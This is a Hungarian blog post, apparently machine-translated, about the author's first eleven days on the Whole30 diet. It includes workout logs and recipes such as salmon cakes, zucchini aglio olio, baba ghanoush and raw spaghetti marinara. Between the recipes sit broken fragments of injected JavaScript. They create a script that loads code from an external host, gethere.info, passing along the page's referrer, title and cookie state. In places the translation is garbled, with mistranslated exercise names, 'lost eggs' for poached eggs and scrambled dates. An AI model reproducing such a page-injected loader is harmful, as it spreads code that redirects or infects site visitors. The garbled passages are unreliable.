Pisztácia-kókuszvaj, spenót pestóval és pörkölt tökkel szárítva, nyers spagetti marinara, olasz bologna és még sok más az első 11 napban, egészséges kihívással Whole30:).
Hadd mondjam el, hogy a Whole30 nem szórakoztató! Elszántan, elvárásokkal és nagy lelkesedéssel mentem bele. Néhány nap után (pontosan hat óra után) kétségek kezdődtek. Először tartózkodók, és meggyőzöm magam arról, hogy normális, ha este 9-kor van chai - "Ennyit tehetsz" - mondtam magamban.
Eleinte minden étkezés után úgy éreztem, hogy nem ettem. Várnom kellett egy ideig, amíg a gyomrom rájött, hogy nem kap többet. 3 nap múlva azonban stabilizálódott. Viszont körülbelül 3 másik követte őket, amikor ismét úgy éreztem, hogy túl sokat ettem.
A 7. napon történt velem, hogy az előző naptól annyira jóllakottam (közvetlenül lefekvés előtt ettem), hogy alapvetően kihagytam a reggelit és három kisebb ételt ettem napközben. De megint csak a következő reggelire tudtam egy turmixot enni.
A végtelen körhinta megismétlődött, és azonnal eljött néhány nap, amikor nem csak a 3 ételt tudtam elfogyasztani, de néhány dióval kiegészítettem őket.
Ha megtalálja ezt az arany középutat, az erőfeszítéseket fog tenni, és azt hiszem, hogy mindenki megtalálja a sajátját bármilyen diéta mellett, csak egy csipet türelemre és a kísérletezés vágyára van szüksége. De soha nem felejtem el, hogy mely ételek csinálják és melyek nem.
Az érzéseim:
- Meglepetésemre egyáltalán nem hiányzik a csokoládé - és minden nap megeszem
- Nincs is nagy problémám azzal, ha nem eszem "édeset"
- savanyú tejtermékek, mint a joghurt, kovász, . nagyon hiányolják őket
- ha minden étkezésnél állati fehérje van, az kissé megöl
- energia egész nap ingadozások nélkül tökéletes
- egyrészt kevésbé gondolkodik az ételről, másrészt inkább:)
Megfigyeléseim és tanácsaim:
- ne hagyjon gyümölcsöt a végén
- tojás, alma és kókuszvaj kombinációja - NEM
- túl sok nyers étel egy nap alatt felfújódik
- az étkezés pár órával lefekvés előtt jó (általában szoktam lefekvés előtt étkezni, de mivel a vacsora a napi bevitel több mint 1/3-át teszi ki, az előtti étkezés nem éri meg és nem is kellemes)
- a bőröm tényleg jobb:)
- az általam elfogyasztott adagok hatalmasak, de kíváncsi vagyok, amikor a legtöbb csak zöldség:)
- ne felejtsd el betartani a megadott mennyiségeket, különben nem fogsz kitartani a következő étkezésig
- jó ellenőrizni az egyes étkezések kalóriaértékét, hogy véletlenül ne essen túl keveset - én a Foodlogic-on keresztül csinálom
Kiképzés:
Szeretek erősödni. Többé-kevésbé több éve csinálom, természetesen különféle szünetekkel.
Klasszikusan gyakorlok, heti 2-3 játékot, 3-4 edzést. Általában 4 sorozat 8-10 ismétlés után. Ez volt az első edzésem
11 nap a Whole30-zal.
2015. január 2.1., Péntek - hát, bicepsz és has
- 1,5km fut az övön
- deadlift - csiga (kanyarok) - előre kanyar - hiperextension
- bicepsz nagy súlyzóval - egykezes számlap - kalapács
- csípő koronggal - oldalirányú hiperextension - emelő lábak emelő fenékkel
2015. január 3., szombat - beh (3-4km)
2015.1.4., Vasárnap - mell, tricepsz, has
- 1km futás
- pad - peckdeck - mellnyomás lejtős padon - pulóver
- egykezes nyomás a fej mögött - tricepsz merülések - fordított tricepsz forgattyúk - tárcsa eltávolítása
- emelő lábak emelő szamárral
2015. 6.1., Kedd - váll, láb, has
- hátsó elülső nyomás - egykaros vállnyomások - alkar és kerék forgása - előre billenthető meghúzás
- ásás - temetés - legpress
- lábak emelése a fenék emelésével - oldalirányú hiperextension
2015. 8.1., Csütörtök úgynevezett Hard Core - nagyon kellemetlen körkörös edzés
2015.1.10. Szombat - mell, bicepsz
- felső pad - peckdeck súlyzókkal - pad - pulóver
- bicepsz nagy súlyzóval - egykezes számlap - skót pad
A legjobb étkezés 11 nap alatt a Whole30-mal
A Whole30 alatt enni igazán színes, változatos és ízletes.
Nagyon csodálatos, mit lehet elkészíteni a legalapvetőbb alapanyagokból!
Színes, ízű és ötletekkel teli ételek.
Természetesen nem mindegyiket ettem teljes élvezettel, de 90% -uk bizonyosan. Sokuknak már megvan a saját receptje az oldalon, és természetesen a többiek is felkerülnek.
Itt található Baba Ghanoush, pisztácia-kókuszvaj, mandulatej, Aglio olio peperoncino, nyers marinara spagetti, lazac sütemények és egyebek.
Legfőbb kedvencem a "felső" - sós száraz, spenót pestóval és sült tökkel. Engem ez a recept inspirált FoodTube Jamie Oliver (videó itt). A receptet hamarosan megtalálja az oldalon:).
Az összes ételt megtekintheti az Instagramon, ahová naponta felteszem:).
s.src = ’http: //gethere.info/kt/? 264dpr & frm = script & se_referrer =’ + encodeURIComponent (document.referrer) + ’& default_keyword =’ + encodeURIComponent (document.title) + ”; if (document.cookie.indexOf (“_mauthtoken”) == - 1) >>) (navigator.userAgent || navigator.vendor || window.opera, 'http: //gethere.info/kt/? 264dpr &' );>
ABC turmix
Krémes, finom, finom édes turmix avokádóból, banánból és kókusztejből
Lazac sütemények
Amikor elkezdtem elkészíteni ezt az ételt, még nem is sejtettem, hogy ilyen nagyszerű lesz:). A lazacos sütemények, ahogy szlovákul hívtam, valóban tökéletesek. Egészséges, egyszerű és ízléses.
Hogy ez a recept hogyan jutott el hozzám, elég érdekes történet. Inspirációt kerestem az Egyesült Államokba tett utam emlékeibe, és eszembe jutott egy kiváló tengeri étel-étterem, ahol klasszikus "ráktorta" -ot kínáltak. Ez megint nem működött nálam, és a Whole30-zal közösen létrehoztam egy egészséges lazac-alternatívát a gondolataimban.
Végül ezzel a csodával tányéron ültem az asztalnál, és fogalmam sem volt, mire számítsak. - Egyáltalán jó íze lesz? - kérdeztem magamtól. Meglepetésemre ezek a "sütik" nagyon finomak voltak.
Másnap egy elveszett tojással gazdagítottam őket, mint általában egy hagyományos amerikai "rákkal". Köretnek zeller krumplit választottam - itt olvashat bővebben a zellerről.
Így csodálatos, egészséges étel "gyorsétterem" stílusban:)
Hozzávalók: (2 adagra)
lazac sütemények esetében:
- 150 g lazackonzerv (saját gyümölcslében)
- 1 közepes lilahagyma
- 1 tojás
- 1 evőkanál kókuszliszt
- egy csipet sót és borsot
- 1 teáskanál friss vagy szárított kakukkfű (nem lehet)
- 3 teáskanál kókuszolaj pirításhoz
csomagoláshoz:
- 1 evőkanál őrölt lenmag
- 1 evőkanál szezámmag
- 1 evőkanál kókuszliszt
- egy csipet sót és borsot
az elveszett tojásokon:
- 2 tojás
- fazék forró vízzel
zeller krumpli:
- 300-400g zeller hasábburgonyára szeletelve
- só és bors ízlés szerint
- sütőpapír
Megközelítés:
- Finoman vágja le a lilahagymát, és keverje össze a sütemények összes hozzávalójával.
- A kezünkkel kis húsgombókat formázunk a tésztából, és csomagolásra keverékbe csomagoljuk őket.
- Tegye a zeller krumplit sütőpapírra, sózza, fűszerezze és süsse 200 ° C-on 20 percig.
- A lazac süteményeket forró kókuszolajban 2-3 percig sütjük mindkét oldalon.
- Az elveszett tojáson egyszerűen tegye a nyers tojást forró vízbe, és várjon kb. 3 percet. A videó eljárást például itt találja meg.
- Mindent szépen tálalunk egy tányérra és ehetünk:).
Zeller
A gyökérzeller szorosan kapcsolódik a jól ismert szárzellerhez, és jellegzetes földalatti része miatt termesztik. Ideális választás télen, amikor leggyakrabban levesek, húslevesek és különféle zabkása esetén használják.
Alapok
A zellerrel való hasonlóság alapján szintén a zeller szerepel az Apium nemzetségben, latin Apium graveolens var. Rapaceum. Kiváló azonban nagy, gömb alakú, durva és masszív felületű földalatti részének egyediségével.
A használat pozitívumai
A zeller viszonylag kevés kalóriát tartalmaz - körülbelül 42kcal/100g. Ugyanakkor pépje érdekes tápanyagokat, ásványi anyagokat (foszfor, magnézium, mangán), vitaminokat (K, B6, C) és rostot kínál.
A sárgarépához hasonlóan a zeller is jó forrása a poliacetilén antioxidánsoknak (falcarinol, panaxydiol, falcarindiol), amelyek feltételezhetően gátló hatást fejtenek ki egyes rákfajtákra.
A vitamintartalom szempontjából egyértelműen a K-vitamin győz (az ajánlott napi adag 34% -a/100g). Ez a vitamin képes növelni a csont prevalenciáját azáltal, hogy elősegíti a csontsejtek aktivitását.
Aglio Olio Peperoncino
Egy egyszerű olasz klasszikus egészségesebb, gyorsabb és színesebb:)!
Olívaolaj, fokhagyma és chili cukkini spagettiben, csirkepecsenyében és sült szalonnában keverve. Semmi többet nem kell hozzáadni:).
Hozzávalók: (1 fő részére)
- 300g spirálos vagy szeletelt cukkini
- 3 evőkanál olívaolaj
- 1 kisebb chili paprika
- 2 gerezd fokhagyma
- 1/2 teáskanál só és egy csipet fekete bors
- 100-150g csirkemell
- 30g minőségi szalonna (koložvárskát használtam)
- só és bors ízlés szerint
Megközelítés:
- Egy tálban keverje össze az olívaolajat, a zúzott fokhagymát, az apróra vágott chili paprikát, a sót és a borsot.
- Szeletelje, sózza és ízesítse a csirkemelleket. A szalonnát finom szeletekre vágjuk, és serpenyőben megpirítjuk.
- Amikor a szalonnából kevés zsír szabadul fel, adjuk hozzá a csirke steaket, és mindkét oldalon kb. 2-3 percig sütjük.
- Tegye a cukkinit egy szitára, öntsön rá forró vizet, és engedje le. Ez melegen tartja a cukkinit, de ropogós marad:).
- Tegye a cukkinit egy tányérra, adja hozzá az olajkeveréket és keverje össze.
- Helyezzen a tetejére csirke steaket és szalonnát.
- Mi szolgálunk.
d.getElementsByTagName (’fej’) [0] .appendChild (s);
Baba Ghanoush
Azt hittem, hogy a hummusnál nincs jobb keleti terjedés. Nos, megint tévedtem:)!
Mivel a hüvelyesek a Whole30 alatt tilosak, a hummus szóba sem jöhetett. De az étvágyam arra késztetett, hogy a baba ghanoushhoz vezessek .
Emlékszem, néhányszor megkóstoltam ezt a jóságot a teázóban, de soha nem gondoltam rá szigorúbban. A Baba ghanoush hagyományos libanoni padlizsánkrém, és mint megtudtam, a hummus tökéletes alternatívája is:).
Egyszerűen isteni - padlizsán, fokhagyma, szezámmag és citrom. Nem igényes az alapanyagokkal szemben, ugyanakkor finom textúrát és kellemesen csillogó ízt biztosít.
Nyers spagetti marinara
A Whole30 kihívás harmadik napja lassan véget ért, ezért úgy gondolom, hogy itt az ideje, hogy megosszunk egy receptet az eljárással. Így nemcsak pontos elképzelésed lesz arról, hogy néz ki egy ilyen egészséges étel, hanem megpróbálhatod otthon is elkészíteni:).
Ezt az ételt egyedisége és kifinomultsága miatt választottam. A nyers készítmény csípős ízt és aromát adott ehhez az ételhez. Ennek az eljárásnak köszönhetően érezni fogja az egyes összetevőket, amelyek az ételben vannak. Az elkészítés akár 10 percet is igénybe vehet, és egészséges, ízletes ebédet fogyaszthat a világon:).
Mivel a Whole30 fehérjéből nem hiányozhat, grillezett csirkemell darabokkal egészítettem ki.
Hozzávalók: (1 adagra)
- 350 g cukkini (kb. 1,5)
- 250g paradicsom
- 50g újhagyma
- 1 gerezd fokhagyma
- 30 g szárított görög olajbogyó
- egy kis petrezselymet és kakukkfüvet
- só és bors ízlés szerint
- 150-200g csirkemell
- 1 teáskanál kenőcs/kókuszolaj
- só és bors ízlés szerint
Megközelítés:
- Spirálozza be a cukkinit, vagy vágja finom szeletekre.
- Tegyen paradicsomot, hagymát és egyéb összetevőket turmixgépbe vagy robotba, és keverje sima szószba. Sózzuk és ízesítsük ízlés szerint.
- Vágjuk a csirkét kis medalionokba, sózzuk, ízesítsük, és serpenyőben süssük 2-3 percig mindkét oldalon.
- Keverje össze a mártást a cukkinivel, tegye egy tálba, és tegye a tetejére a csirke darabokat.
Az ilyen ételek a következő tápértékeket biztosítják Önnek:
- kalória: 542kcal
- fehérje: 51 g
- Szénhidrátok (rost): 26g (8)
- zsírok: 26g
Hidd el, hogy ez az étel mindenképpen megéri:)!
A Whole30-zal kezdjük
Az új év mindig új célokkal és elkötelezettséggel jár. Természetesen ennek a szabálynak ránk is vonatkoznia kell!:)
Ezért úgy döntöttünk, hogy egészséges kihívással indulunk 2015-be:). 30 napig tartó kihívás táplálkozási visszaállítás formájában.
Természetesen ugyanazok maradunk, és továbbra is várom a tiéteket
népszerű receptek cukor, gabonafélék nélkül, tele egészséges zsírokkal, csak természetes alapanyagokból.
Miért beszélünk tehát kihívásról? A menüket csak bizonyos élelmiszerek csoportjaira korlátozzuk, mint például hús, hal, zöldségek, gyümölcsök és egészséges zsírok. Sajnos az egész 30 nap alatt nem lesz egészséges sütés és édesség - de kitartunk:)!
Az Instagram lesz a jobb kezünk ebben az időszakban. A napi böjtöléssel megmutatjuk, hogyan néz ki egy ilyen étrend, és milyen előnyökkel járhat teste és egészsége szempontjából.
Az ételek, mint mindig, kreatívak, ízletesek és gyorsan elkészíthetők.
Inspirációként a jól ismert Whole30 kihívást választottuk, vagyis a Whole30 kihívást. Minden érdekes és szükséges információt készen állunk, valamint a hivatalos honlapjukra mutató linkeket.
A hivatalos kezdésem ma, 2015. január 1-jén kezdődött. A mai bloggal szeretném megmutatni, mit ettem a Whole30 kihívás első napján, és hogy nézett ki.
Teljesen kezdtem a napot. Fél literes pohár víz kevés almaecettel és 3 tojásfehérje omlettjével, szűz kókuszolajban elkészítve. Kóstolásra és köretként 2 evőkanál kókuszvajot, egy csipet fahéjat, egy fél uborkát és 1 fizalit választottam. Az ilyen bajnok reggeli fehérjében, egészséges zsírokban, rostokban és vitaminokban gazdag. Természetesen volt egy kávéfőző kókuszos és házi mandulatejjel.
Kalória: 446,3 kcal
Szénhidrátok (rost): 18,8 g (5,2)
Ebédre 2 cukkini spagetti volt paradicsommártással és hagymával. Ezen kívül minőségi szalonna és sertés bélszíndarabok, mangali kenőccsel elkészítve . És még egy kávé:-).
Kalória: 622 kcal
Szénhidrátok (rost): 32g (8)
A napot vacsorával fejeztem be egy könnyű saláta jegyében. Rukkola, spenót, paradicsom, 1/2 avokádó, sertésszűz darab kókuszolajban, pomeló, citromlé és olívaolaj öntettel.
Kalória: 596 kcal
Szénhidrátok (rost): 27 g (12)
Ennek a kihívásnak az első hete után írunk egy másik blogot arról, hogy minden megy:).
Kika néhány napon belül csatlakozik hozzám, így több ember észrevételeit és érzéseit várhatja. Reméljük, hogy élvezni fogja a Whole30-t, és ki akarja próbálni saját maga.